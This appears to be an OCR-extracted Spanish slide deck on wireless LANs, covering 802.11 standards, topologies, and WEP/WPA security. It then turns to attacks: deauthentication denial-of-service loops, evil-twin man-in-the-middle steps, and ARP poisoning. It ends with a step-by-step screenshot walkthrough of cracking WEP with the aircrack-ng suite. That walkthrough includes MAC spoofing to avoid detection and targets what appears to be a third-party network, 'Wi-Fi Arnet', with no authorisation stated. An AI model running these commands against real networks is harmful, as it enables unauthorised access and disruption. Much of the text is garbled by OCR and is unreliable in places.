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Introduccion

Las tecnologias inalambricas se presentan como las de mayor
auge y proyeccion en la actualidad.

Permiten superar las limitantes de espacio fisico y ofrecen
una mayor movilidad de usuarios.

Las redes inalambricas de area local (WLAN) tienen un papel
cada vez mas importante en las comunicaciones del mundo
de hoy. Debido a su facilidad de instalacion y conexion, se han
convertido en una excelente alternativa para ofrecer
conectividad en lugares donde resulta inconveniente o
Imposible brindar servicio con una red cableada.

La popularidad de estas redes ha crecido a tal punto que los
fabricantes de computadores y motherboards estan
Integrando dispositivos para acceso a WLAN en sus equipos;
tal es el caso de Intel que fabrica el chipset Centrino para
computadores portatiles.



Tecnologias WLAN
802.11 & Modelo OSI

Application

Network
operating
system
(NOS)

Logical Link Control (LLO) — 802.2

Media Access Control (MAC)— Power, security, etc.

FH, DS, IR, CCK(b), OFDM(a)




Topologia WLAN

Una WLAN se puede conformar de dos maneras:

A En estrella. Esta configuraci
estacion central denominada punto de acceso (Access

Point), a la cual acceden los equipos moviles. El punto de

acceso actiua como regulador de trafico entre los

diferentes equipos moviles. Un punto de acceso tiene, por

lo regular, un cubrimiento de 100 metros a la redonda,

dependiendo del tipo de antena que se emplee, y del

numero y tipo de obstaculos que haya en la zona.

A Red ad hoc. En esta configura
Se conectan unos con otros, sin necesidad de que exista
un punto de acceso.



Topologia WLAN

Redes en modo ad-hoc

Redes Wireless - Servicio "ad-hoc"”

PC de
mesa
147.156.2.1/24 |
)3
[I

147.156.1.15/24 . / - PC portatil
147.156.2.3/24

Las tramas se transmiten
- — directamente de emizor a
PC portatil receptor

147.156.2.4/24
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Topologia WLAN

Redes en modo infraestructura AP

Redes Wireless - Servicio con AP

PCtactil -/ 'PC portatil
147.156.1.22/24 ™~ 147.156.1.23'24

Punto de
acceso (AP)

PC de sobremesa Y ‘O PDA
147.156.1.21/24 § Y 147.156.1.24/24

PC portatil ( PC de sobremgsa
147.156.1.20'24 - ) 147.156.1.25/24
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RedesWireless
Bandasdesignadas porTU

(UNION INTERNACIONAL DE TELECOMUNICACIONES)

Banda Ancho Uso en WLAN

1355371 13 567 kHz 14 kHz No

26 9571 27 283 kHz 326 kHz No

40.66 1 40.7 MHz 40 kHz No

90271 928 MHz 26 MHz Sistemas propietarios antiguos
(en EEUU y Canada)

240071 2 500 MHz 100 MHz 802.11, 802.11b, 802.11 g

572571 5875 MHz 150 MHz 802.11 a

2471 24.25 GHz 250 MHz No




RedesWireless
Protocolos802.x

802.11

La version original del estandar IEEE 802.11 . Especifica dos
velocidades de transmision teoricas de 1y 2 mega bit por segundo
(Mbit/s) que se transmiten por sefales infrarrojas (IR) en la banda
ISM a 2,4 GHz.

Define el protocolo CSMA/CA (Multiple acceso por deteccion de
portadora evitando colisiones) como metodo de acceso.

802.11b

La revision 802.11b tiene una velocidad maxima de transmision de
11 Mbit/s y utiliza el método de acceso CSMA/CA. Funciona en la
banda de 2.4 GHz. En la practica, la velocidad maxima de
transmision es de aproximadamente 5.9 Mbit/s sobre TCPy 7.1
Mbit/s sobre UDP.

La extension 802.11b introduce CCK (Complementary Code
Keying) para llegar a velocidades de 5,5 y 11 Mbps (tasa fisica de
bit).



RedesWireless
Protocolos 802.x

802.114

Opera en la banda de 5 GHz y utiliza soportadoras
(OFDM) con una velocidad maxima de

54 Mbit/s, lo que lo hace un estandar practico para redes
inalambricas con velocidades reales de aproximadamente
20 Mbit/s. Utilizar la banda de 5 GHz representa una
ventaja dado que se presentan menos interferencias.

802.11 ¢

Es la evolucion del estandar 802.11b. Utiliza la banda de 2.4
GHz, pero opera a una velocidad tedrica maxima de 54
Mblt/s gue en promedio es de 22.0 Mbit/s de velocidad real
de transferenma similar a la del estandar 802.11a.



RedesWireless
Protocolos 802.x

Es compatible con el estandar b y utiliza las mismas
frecuencias. Buena parte del proceso de disefo del estandar
lo tomo el hacer compatibles los dos estandares.

Para construir equipos bajo este nuevo estandar se pueden
adaptar los ya disenados para el estandar b.

Actualmente se venden equipos con esta especificacion,
con potencias de hasta medio vatio, que permite hacer
comunicaciones de hasta 50 km con antenas parabdlicas
apropiadas.

802.11 Super G

Hoy en dia el estandar 802.11 Super G, con una banda de
2.4 GHz, alcanza una velocidad de transferencia de 108
Mbps. Esto es proporcionado por el chipset Atheros.



RedesWireless
Elementosactivos

Tarjeta de red 802.11b




RedesWireless
Elementos activos

Acces Point




RedesWireless
Elementos activos

Wireless con adaptador USB




RedesWireless
Serviciocon AP

Cuando una estacion se enciende busca un AP en su
celda. Si recibe respuesta de varios atiende al que le
envia una sefal mas potente.

La estacion se registra con el AP elegido. Como
consecuencia de esto el AP le incluye en su tabla MAC

El AP se comporta para las estaciones de su celda como
un hub inalambrico. En la conexion entre su celda y el
sistema de distribucion el AP actua como un puente.

El rendimiento real suele ser el 50-60% de la velocidad
nominal.

El overhead se debe a:
Mensajes de ACK (uno por trama)
Mensajes RTS/CTS (si se usan)



RedesWireless
Servicio con AP

Fragmentacion (si se produce)

Protocolo MAC (colisiones, esperas aleatorias, intervalos
entre tramas)

Transmision del Preambulo (sincronizacion, seleccion de
antena, etc.) e informacion de control, que indica entre
otras cosas la velocidad que se va a utilizar en el envio,
por lo que se transmite a la velocidad minima (1 Mb/s en
FHSS y DSSS, 6 Mb/s en OFDM). Solo por esto el
rendimiento de DSSS a 11 Mb/s nunca puede ser mayor
del 85% (9,35 Mb/s)



RedesWireless802.11
Seguridado SSID

Se dispone de mecanismos de autentificacion y de
encriptacion.

La encriptacion permite mantener la confidencialidad aun
en caso de que la emision sea capturada por un extrano.
El mecanismo es opcional y se denomina WEP

(Wireless Equivalent Privacy). Se basa en encriptacion de
40 o de 128 bits. También se usa en Bluetooth

Los clientes y el punto de acceso se asocian mediante un

SSID (System Set Identifier) comun. EI SSID sirve para la
identificacion de los clientes ante el punto de acceso, y
permite crear grupos Ol -gicoso
zona (parecido a las VLANS)

Esto no es en si mismo una medida de seguridad, sino un
mecanismo para organizar y gestionar una WLAN en
zonas donde tengan que coexistir varias en el mismo
canal



RedesWireless
Seguridad Encriptacion

WEP (Wired Equivalent Privacy).

Ofrece dos niveles de seguridad, encriptacion a 64 o 128
bit. La encriptacion usa un sistema de claves. La clave de
la tarjeta de red del ordenador debe coincidir con la clave
del router.

64-bits (10 hex digits): Se pueden introducir 5 caracteres
ASCII o 10 digitos hexadecimales (0a9yaaF).

128-bit WEP: usa una clave mas larga y, por tanto, mas
complicada de acertar. Es practicamente la misma, solo
gue ahora hay que introducir 13 caracteres ASCII 0 26
digitos hexadecimales.



RedesWireless

Seguridad Encriptacion

WPA (Wireless Protected Access)

Ofrece dos tipos de seguridad, con servidor de
seguridad y sin servidor.

Este método se basa en tener una clave compartida
de un minimo de 8 caracteres alfanuméricos para
todos los puestos de la red (Sin servidor) o disponer
de un cambio dinamico de claves entre estos
puestos (Con servidor).

No todos los dispositivos wireless lo soportan.



Seqguridad enWiFicon WEP

Todo el trafico es accesible a un atacante
Servicios de seguridad necesarios

Autenticacion: Identificacion con un grado aceptable de
confianza de los usuarios autorizados

Confidencialidad: La informacion debe ser accesible
unicamente a las personas autorizadas

Integridad: La informacion debe mantenerse completa y
libre de manipulaciones fortuitas o deliberadas, de
manera que siempre se pueda confiar en ella

iWEP no consigue ofrecer ninguno!



Vulnerabilidades en redesVNiFi

Acceso: wardriving, warchalking

Cifrado WEP: Ataques FSM, KorekK, etc.
Ataques de Man-in-the-Middle: Rogue APs.
Vulnerabilidades en APs en modo "bridge":

Ataques de Denegacion de Servicio.



Acceso a rededVNiFi

1. Poner la tarjeta en modo monitor:

a. No todas las tarjetas son capaces de funcionaren
modo monitor (mas bien es problema del driver).

b. La mayoria de sniffers configuran automaticamente la
tarjeta en modo monitor.

c. En Windows: utilizar software que sepa poner la
tarjeta en modo monitor (netstumbler).

d. En GNU/Linux:
I Instalar wireless-tools / pcmcia-cs.
I iwpriv wlanO monitor 1 1.
__Usar bactrack 4.5



Autenticacion enWiFi

Conceptos basicos

WEP: Wired Equivalent Privacy: Protocolo de
encriptacion basado en RC4.

ESSID: Extended Service Set ldentifier: ANNombr eo
de la red. NO es un password.

BEACON FRAMES: Anuncios de la red emitidos por
el AP. Normalmente contienen el ESSID.

MANAGEMENT FRAMES: Proceso de
autenticacion mutua y asociacion.



Autenticacion enWiFi

Medidas de seguridad utilizadas hasta ahora:

WEP:

Comunicacion cifrada a nivel fisico / enlace de datos.

Dificulta las cosas.

ACLs basados en IP y MAC:

EIAP sol o permite conectar a | os
No emitir BEACON FRAMES e emitirlos sin el ESSID:

Si no sabemos el ESSID, no podremos conectarnos.



Autenticacion enWiFi

Cifrado WEP

A WEP.
Encriptacion basada en RCA4.

Utiliza llaves de 64, 128 y 256 bits.(en realidad 40, 104 o
232 bits: IV = 24 hits).

La llave se puede generar a partir de una passphrase o
ser introducida directamente por el usuario.

La llave debe ser conocida por todos los clientes (secreto
compartido).



Autenticacion enWiFi

Vulnerabilidades en WEP
A Al goritmo de integridad: <car ac!
I ElI ICV se calcula solo haciendo un CRC32 del payload
I Dos grandes problemas:
A EI I CV es independiente de | a
A Los CRC son Ixork)e&RGImM) xof CREE)() m
A Medi aftippimgo idetpodr2a regenerar |
un mensaje modificado.
A Al gor i t mo MGQGnddpendientg deilactlave :

I No existe un Chequeo de Integridad delmensaje
dependiente de la clave (el ICV es un CRC32 no dependiente
de la clave).

I Conocido el plaintext de un solo paquete seria posible
Inyectar a la red.



Autenticacion enWiFi

Vulnerabilidades en WEP
A Cifrado: TamayYo de |V demasi a
(= | V mide 24 Dbl t s Y 16. 777. 21

I 16 millones de tramas se generan en pocas horas enuna
red con trafico intenso

A Cifrado: Reutilizaci-n de 1|V

I Su corta longitud hace que se repita frecuentemente al
generarse aleatoriamente.

i Criptoandlisis estadistico.

I El estandar dice que cambiar el IV en cada paquete es
jopcionall.
A Cifrado: Vulnerabilidades de Wl

ACifrado: Debilidades en el algoritmo de Key Scheduling de
RC4 (FMS)

d
6



Autenticacion en redesNiFi

Proceso de conexidon de un cliente
a una red wireless

I Los APs emiten BEACON FRAMES cada cierto intervalo
fijo de tiempo.

I Los clientes escuchan estos BEACON FRAMES e
identifican al AP

A El cliente tambi ®n puede envi al
REQUESTO con un determinado ESSI |
responde.



Autenticacion en redesNiFi

Autenticacion y asociacion

Estado 1
No autenticado, No
asociado

AUTHENTICATION
FRAMES -

_ ) i ) Natificacion de
Autenticacion realizada DeeAuterbcacian

con exito

Estado 2

Notificacion de Autenticgdo.
DesAutenticacion No asociado

Asociacion o
ReAsociacion con
exito

MNotificacion de
DesAsociacion

ASSOCIATION A 5 om—
FRAMES - » Autentcicado. y

Asociado




Autenticacion en redesNiFI

Metodos de autenticacion tipicos

I Open System Authetication

A Protocolo de autenticaci - -n por
A Es un proceso de autenticaci -n
I Autentica a todo el que pide ser autenticado

I Las tramas se mandan en texto plano aungque esté
activadoWEP

I Shared Key Authentication
A Protocolo cifrado de autentica:

A Vulnerabilidades propias de WE]
I 802.1x



Vulnerabilidades enAPS

Descubrir ESSID ocultados

Algunos administradores entienden el ESSID como
una contrasena (erroneo)

No emiten BEACON FRAMES o los emiten sin el
ESSID

Cuando un cliente se conecta, vemos el ESSID en la
trama PROVE REQUEST

Podemos esperar
Podemos desconectar a un cliente (DoS)



Vulnerabilidades enAPS

Ocultar ESSID

Es necesario tener una version del firmware
1.6.3 o superior en la tarjeta (mirar dmesg).
Ocultar:

Iwpriv wlanO enh_sec 1



Vulnerabilidades enAPS

Ataques de Denegacion de Servicio

A Configurar nuestra tarjeta en |
Master y con la MAC del AP (con un sniffer)

A Envi ar desasagaeié: de

while true; do iwpriv wlan0 kickmac MAC; done

A At ®aSumasivo:

while true; do iwpriv wlanO maccmd 4; done

A Ataques contra | a capa f2sical
I CSMA/CA: Colission Avoidance.

I CCA: Clear Channel Assessment.

i Emitiendo CCAs nulos negamos que ningun canal esté
libre tanto para APs como para clientes.



Vulnerabilidades enAPS

Atagues Man-in-the-Middle

A Dos tWiFrj et as

I Con una nos hacemos pasar por el AP

I Con la otra nos hacemos pasar por la victima

A Enviamos una trama DEAUTH a | a
busque un AP al que conectarse

A Hacemos creer a |l a v2ctima que
operando en otro canal

A Nos conectamos al AP original

haciéndonos pasar por la victima



Vulnerabilidades enAPS

Atagues Man-in-the-Middle

" Victima

Atacante




Vulnerabilidades enAPS

Atagues Man-in-the-Middle

A EI ataqgue ha si do reali zado a |
control sobre todas las capas superiores.

A - Muchas soluciones de seguridad
fisica y de enlace son seguras.

A Cuidado con i mp/PNsoueprésaporico nes d
esto.



Vulnerabilidades enAPS

AP en modo bridge
A At ague Poisbreng ARP

I Objetivo: envenenar la caché ARP para redirigir el trafico
de una LAN hacia nuestra situacion

I Solo se puede hacer cuando el atacante esta en la misma
ALAN | - gicao:

AHubs, bridges y switches (pero no routers).

A 4L a maAPsfuntienanct@no bridges!



Vulnerabilidades enAPS

A At ague Poisbreng ARP

switch
- ATACANTE
MAC: FO:FO:FO:FO:FO:FO

PC 1 PC 2
Tabla ARP - PC 1 192.168.1.1 192.168.1.2
Dircccion MAC

92 168.1.3




Vulnerabilidad en WEP utilizando
Bactrak 5

A continuacion veremos como vulnerar

una encriptacion con protocolo WEP
utilizando el software Bactrak 5 en
GNU-LIinux.



Vulnerabilidad en WEP utilizando
Bactrak 5

|: SCREEN2EXE/SCREEN2SWF Player = |_|

| root : bash v oA X

File Edit WView Bookmarks Settings Help

root@root:~# airmon-ng A
Interface Chipset Driver
wlan@ Ralink RT2878/3070 "‘tZEi’*J.Ji:ZI - [phy@]
root@root:~# airmon-ng start wlanoef]
E

Ejecutamos el comando AIRMON-NG
Pasamaos el parametra START y la placa wian0 =z

File Edit View Bookm

root@root:~# []

Con esto detectamos si nuestra placa
soporta modo MONITOR.

El root : bash
File Edit WView Bookmarks Settings Help
root@root:~# [] =
-
1 root : hash

jc:_@ |EK“'"5C'[E §| i X = = g7 m o

rlel——— =G




Vulnerabilidad en WEP utilizando
Bactrak 5

| SCREEN2EXE/SCREEN2SWF Player ==

| root : aimen-ng v oA X

File Edit WView Bookmarks Settings Help

Interface Chipset Driver
wlang Ralink RT2870/3070 rt2800usb - [phye]
(monitor I‘“OIZ'*&'WE::J].E'C on mond )
root@root:~# ifconfig mon@ down
root@root:~# ] N
E] root : airmon-

Con IFCONFIG MONO DOWN
Lo que logramos es apagar la placa de red en modo monitor =

Para luego cambiar la MAC y no ser detectados.
En futuras auditoria.

El root : bash
File Edit WView Bookmarks Settings Help
root@root:~# [] =
-
1 root : hash

jc:_@ |EK“'"5C'[E §| i X = = g7 m o

»l@j——————— G

L/




Vulnerabilidad en WEP utilizando
Bactrak 5

El root : bash v oA X

SCREEM2EXE/SCREEN2SWF Player

File Edit WView Bookmarks Settings Help
wlang Ralink RT2870/3078 rt28eousb - [phyo] 2
(monitor mode enabled on mon@)

root@root:~# ifconfig mon® down

root@root:~# macchanger -m ©0:11:22:33:44:55 mon@
Current MAC: d8:5d:4¢:99:20:10 (unknown)

Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
root@root:~# ifconfig mon@ up

root@root:~# clear]] A N
E] root : bash
File Edit WView Bookmarks Settings Help
root@root:~# [] -
E root : bash
File Edit WView Bookmarks Settings Help
root@root:~# [] =
-

root : hash

1
YK ] | m‘e 3| i x & 7 ozsspmo

P lel————————————— =G

S O b= (W)



Vulnerabilidad en WEP utilizando
Bactrak 5

|»" SCREEN2EXE/SCREEN2SWF Player =nE=a
| root : bash v oA X
File Edit WView Bookmarks Settings Help
root@root:~# airodump-ng mon@ A

AIRMON-NG mon0

Se encargaréa de ver cuéles son las redes inalambricas que son
Alcanzadas por nuestra antena.

k -

E] root : bash

File Edit WView Bookmarks Settings Help

root@root:~# [] -
-

El root : bash

File Edit WView Bookmarks Settings Help

root@root:~# [] =
-

E] root : hash

i Eﬁn?o[e

3 i x & " ozsspm




Vulnerabilidad en WEP utilizando
Bactrak5

;- SCREEN2EXE/SCREEN2SWF Player

&
File Edit

CH 111

B5SID

S I

2:23:23:
00:16:CF:
00:0E:E8:

=

File Edit

root@root:

E
File Edit

root@root :

E

View Bookmarks Settings

Elapsed: 12

PWR Beacons

13:74:0E -1 3
56:E0:49 -58& 1z
09:10:05 -86 k 4

root : airodump-ng
Wiew Bookmarks Settings
# ]

root : bash

View Bookmarks Settings

#[

root : hash

s ][ 2011-09-14 20:58

reot : airodump-ng v oA X

Help

#Data, #/s CH MB ENC CIPHER AUTH ESSID
] 8 10 11  OPN HP8572E9
23 ] 1 54 WEP WEP Wi-Fi Arnet
ol I3 Ao il WifiTora

Determinar quién sera nuestra victima, .
Help
Help

_.Q'_@- m?oie

3| i

X = 08:58 pm

Plel— =

Ly




Vulnerabilidad en WEP utilizando
Bactrak 5

| SCREENZEXE/SCREEN2SWF Player = =R
| root : bash v oA X
File Edit WView Bookmarks Settings Help
CH 9 ][ Elapsed: 16 s ][ 2011-89-14 20:58 -
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
3
12
1
E] root : bash
File Edit WView Bookmarks Settings Help
root@root:~# [] -
El root : bash
File Edit WView Bookmarks Settings Help
root@root:~# [] =
-
1 root : hash
T E @ E B 3 i % < 08:58 pm ¢

_——— =

€ =] CLI 6



Vulnerabilidad en WEP utilizando
Bactrak 5

F SCREEN2EXE/SCREEN2SWF Player

| root : bash v oA X
File Edit WView Bookmarks Settings Help
CH 9 ][ Elapsed: 16 5 ][ 2011-09-14 20:58 =
BSSID PWR Beacons #Data, #/s CH HMB ENC CIPHER AUTH ESSID

113:74:0E -1 3 2] @ 19 11  OPN HP8572E9

: :56:E@:49 -58 12 23 ] 1 54 WEP WEP Wi-Fi Arnet

00:0E:EB:D9:10:05 -86 4 ] @ 6 54e WPAZ CCMP  PSK WifiTara
root@root:-# ~C
root@root:~# airodump-ng -w wep -c 1 --bssid 80:16:CF:56:E0:49 monof] -
E] root : bash k

File Edit WView Bookmarks Settings Help

Con esto le estamos diciendo que:

-w genere un archivo de captura WEP-01.cap en el escritorio

-¢ 1 que obtenga los datos solo del CANAL 1 de nuestro ESSID “WI-F| Amet’
--hbsid pegamos la MAC del AP

mon(Q que escuche en esa placa de red.

root : hash

E
QL AE Eoe 3 i % & " ossepm g

P ——————————————————————— . T G

SN S )




Vulnerabilidad en WEP utilizando
Bactrak 5

;- SCREEN2EXE/SCREEN2SWF Player

o )

=
File Edit WView Bookmarks Settings Help
CH 1 ][ Elapsed: 28 s ][ 2811-89-14 20:59 ][ realtime sorting activated
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC  CIPHER AUTH ESSID
00:16:CF:56:E0:49 -62 108 276 431 9 1 54 WEP WEP Wi-Fi Arnet
Ahora vamos a realizar una .
[ n -
- FALSA AUTENTIFICACION
E w ~ x
File Edit WView Bookmarks Settings
root@root:~# aireplay-ng -1 0 i o
El root : bash
File Edit View Bookmarks Settings Help
root@root:~# [] =
1 root : hash
- |l @' |E Konsole §| i X = 08:59 pm

gl ————————— =G




Vulnerabilidad en WEP utilizando
Bactrak 5

SCREEM2EXE/SCREEN2SWF Player

|
File Edit WView Bookmarks Settings Help

CH 1 ][ Elapsed: 36 s ][ 2811-89-14 20:59 ][ realtime sorting activated

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC  CIPHER AUTH ESSID
B0:16:CF:56:E0:49 -60 100 383 526 18 1 54 WEP WEP Wi-Fi Arnet

E_- root: bash <2= w A X

File Edit WView Bookmarks Settings Help

root@root:~# aireplay-ng -1 0 -a ©0:16:CF:56:E0:49 mon® o
20:59:51 Authentication successful

20:59:51 Sending Association Reguest [ACK]

20:59:51 Assoclation successftul :-) (AID: 1)

root@root:~# | h

El root : bash

File Edit WView Bookmarks Seftings Help

root@root:~# [] =
-

root : hash

1
YK ] | m‘e 3| i ox & " ossopm o

gl — =G

| O b= | W



Vulnerabilidad en WEP utilizando
Bactrak 5

| SCREENZEXE/SCREEN2SWF Player ===
=
File Edit WView Bookmarks Settings Help
CH 1 ][ Elapsed: 32 s ][ 2811-89-14 21:00 ][ realtime sorting activated
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC  CIPHER AUTH ESSID

08:16:CF:56:
Para |uego realizar |a técnica de
‘Reinyeccion de peticion ARP”
B Y forzar a que se incremente considerablemente
s GElE Los paquetes, como si se estuviere navegando mucho.

20:59:51 S
20:59:51
20:59:51 ‘:-\E'"Il:'_"ll__. ASS0CLlallon Regues

20:59:51 Assoclation successtul :- i 1)

root@root:~# aireplay-ng -3 -bjjee #6:CF:56:E0:49 mone

E] root : bash

File Edit View Bookmarks Settings Help

root@root:~# [] =
-

root : hash

1
_Q : ai' |E Konsole §| i X = B pe00pm o

SO [ G T )




Vulnerabilidad en WEP utilizando
Bactrak 5

;- SCREEN2EXE/SCREEN2SWF Player

&

File Edit WView Bookmarks Settings Help

CH 1 ][ Elapsed: 1 min ][ 2011-89-14 21:00 ][ Decloak: 88:16:CF:56:E0:49

B5SID PWR RX(Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
0@:16:CF:56:E0:49 -59 94 923 80p6 531 1 54 WEP WEP OPN  Wi-Fi Arnet

Esperemos el tiempo suficiente hasta que -

=] logremos mas de 30000 #DATA

File Edit WView Bookmarks Settings Help

root@root:~# aireplay-ng -3 -b 00:16:CF:56:E0:49 mon@ =
No source MAC (-h) specified. Using the device MAC (08:11:22:33:44:55)

21:00:86 Waiting for beacon frame (BSSID: @©:16:CF:56:E0:49) on channel 1

saving ARP requests in replay arp-0914-210006.cap

You should also start airodump-ng to capture replies.

Head 28145 packets (got 9925 ARP requests and 5667 ACKs), sent 3697 packets...(499 pps)

= regt : airgplay-ng <2= w A
File Edit WView Bookmarks Settings Help

root@root:~# aireplay-ng -3 -b 80:16:CF:56:E0:49 mono x
For information, no action required: Using gettimeofday() instead of /dev/rtc

No source MAC (-h) specified. Using the device MAC (08:11:22:33:44:55)

21:00:38 Waiting for beacon frame (BSSID: 00:16:CF:56:E8:49) on channel 1

Saving ARP requests in replay arp-©914-21803&.cap

You should also start airodump-ng to capture replies. -
Eead 13013 packets (got 4281 ARP requests and 2613 ACKs), sent 4631 packets... (499 pps) =

root - airenlav-ni

1
_.Q_@' |E”ﬂ'"50[E 3| i x 2 " ooopm e
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| SCREENZEXE/SCREEN2SWF Player ===
=
File Edit WView Bookmarks Settings Help
CH 1 ][ Elapsed: 2 mins ][ 2011-89-14 21:81 ][ Decloak: @0:16:CF:56:E0:49
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC  CIPHER AUTH ESSID
00:16:CF:56:E0:49 -688 95 1533 38864 484 1 54 WEP WEP 0PN Wi-Fi Arnet
= root : bash v oA X
File Edit WView Bookmarks Settings Help
root@root:~# aircrack-ng || a
Ahora resta mandar el proceso para obtener la clave
» U i
En este caso deberia ser “[RNET
E root : bash
You should also start airod _J"“:t---'.g to capture replies. -
eau: 100170 packets (got 30466 ARP requests and 20992 ACKs), sent 37833 packets... (500 pps) =
1 root - airenlav-no
aC: E_ aj IE Konsole ;l i X = 09:01 pm £
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SCREEM2EXE/SCREEN2SWF Player

)
File Edit WView Bookmarks Settings Help
CH 1 ][ Elapsed: 3 mins ][ 2811-89-14 21:82 ][ Decloak: 88:16:CF:56:E®:49
B5SID PWR RXQ Beacons #Data, #/s CH MB EWMC CIPHER AUTH ESSID
B0:16:CF:56:E0:49 -58 36 1671 48364 83 1 54 WEP WEP OPN Wi-Fi Arnet
B - root : aircrack-ng v oA X
File Edit WView Bookmarks Settings Help
Quitting aircrack-ng.
root@root:~# airc "a:k-"ng wep-01.cap
Opening wep-@1.cap
Read 400307 packets.
# BSSID ESSID kﬁ"m"g.-'pt;c)ﬁ
1 00:16:CF:56:E0:49 Wi-F1 Arnet WEP (81728 IVs)
Choosing first network as target.
Opening wep-81.cap
Reading packets, please wait. .
E root : aircrack-ng
You should also start a'_-'o-ﬁ_lﬁ*_:- |d 'to captur e -'epl;es.
ﬁead 124820 packets (got 36598 ARP requests and 25885 ACKs), sent 49643 packets...(483 pps) =
root : airenlav-nao
= —_ [ ] P
__ @-ﬂ IE Ronsole ;'l i X 5 09:02 pm &
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